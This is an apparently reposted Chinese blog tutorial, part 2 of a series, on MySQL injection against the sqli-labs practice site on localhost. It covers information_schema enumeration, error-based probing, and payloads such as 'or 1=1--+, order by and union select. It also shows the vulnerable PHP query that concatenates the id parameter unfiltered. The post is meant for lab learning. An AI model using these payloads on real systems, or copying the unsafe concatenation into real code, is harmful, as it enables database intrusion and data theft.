博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
一篇Mysql注入最全详解(2)
阅读量:4292 次
发布时间:2019-05-27

本文共 1742 字,大约阅读时间需要 5 分钟。

一篇Mysql注入最全详解(2)

一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据。

现在做一些mysql的基本操作。启动mysql,然后通过查询检查下数据库:

show databases;

一篇Mysql注入最全详解(2)

一篇Mysql注入最全详解(2)

现在我们可以看到这里有四张表,然后我们来看下这张表的结构。

desc emails;

一篇Mysql注入最全详解(2)

一篇Mysql注入最全详解(2)

在继续进行前台攻击时,我们想讨论下系统数据库,即information_schema。所以我们使用它.

use information_schema

让我们来看下表格。

show tables;

一篇Mysql注入最全详解(2)

一篇Mysql注入最全详解(2)

现在我们先来枚举这张表

desc tables;

现在我们来使用这个查询:

select table_name frominformation_schema.table where table_schema = "security";

使用这个查询,我们可以下载到表名。

一篇Mysql注入最全详解(2)

Mysql有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程。猜数据库

select schema_name from information_schema.schemata

猜某库的数据表

select table_name from information_schema.tables where table_schema=’xxxxx’

猜某表的所有列

Select column_name from information_schema.columns where table_name=’xxxxx’

获取某列的内容

Select *** from ****

我们可以在 http://127.0.0.1/sqllib/Less-5/?id=1 后面直接添加一个 ‘ ,来看一下效果:

一篇Mysql注入最全详解(2)

从上述错误当中,我们可以看到提交到sql 中的 1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1,多加了一个 ’ 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的‘ 去掉呢?

尝试 ‘or 1=1--+

此时构造的 sql 语句就成了

Select ****** where id='1'or 1=1--+' LIMIT 0,1

一篇Mysql注入最全详解(2)

可以看到正常返回数据。此处可以利用 order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。 ‘order by 4--+的结果显示结果超出。

一篇Mysql注入最全详解(2)

最后从源代码中分析下为什么会造成注入?

Sql 语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT0,1";

Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 ‘or 1=1--+,直接构造的 sql 语句就是

SELECT * FROM users WHERE id=’1’or1=1--+ LIMIT 0,1

这条语句因 or 1=1 所以为永恒真。

一篇Mysql注入最全详解(2)

此外,此处介绍 union联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all 与 union 的区别是增加了去重的功能。我们这里根据上述 background 的知识,进行 information_schema 知识的应用。

http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2--+

当 id 的数据在数据库中不存在时,(此时我们可以id=-1,两个 sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union 的数据。

未完待续.......................

End.

文章转载自:数据库SQL

你可能感兴趣的文章
OpenGL ES 3.0(九)实现美颜相机功能
查看>>
FFmpeg 的介绍与使用
查看>>
Android 虚拟机简单介绍——ART、Dalvik、启动流程分析
查看>>
原理性地理解 Java 泛型中的 extends、super 及 Kotlin 的协变、逆变
查看>>
FFmpeg 是如何实现多态的?
查看>>
FFmpeg 源码分析 - avcodec_send_packet 和 avcodec_receive_frame
查看>>
FFmpeg 新旧版本编码 API 的区别
查看>>
RecyclerView 源码深入解析——绘制流程、缓存机制、动画等
查看>>
Android 面试题整理总结(一)Java 基础
查看>>
Android 面试题整理总结(二)Java 集合
查看>>
ubuntu18机器学习环境安装基于anaconda
查看>>
指定jupyter运行的conda环境和报错处理generator_to_async_generator
查看>>
alphalens入门篇,重要图表绘制和含义
查看>>
pandas dataframe多重索引常用操作
查看>>
CTA分类
查看>>
国内4种常用日内CTA策略介绍及实现
查看>>
seaborn常用速查手册
查看>>
机器学习与股价预测
查看>>
量化中需留意的坑之一
查看>>
量化策略开发中的参数调优
查看>>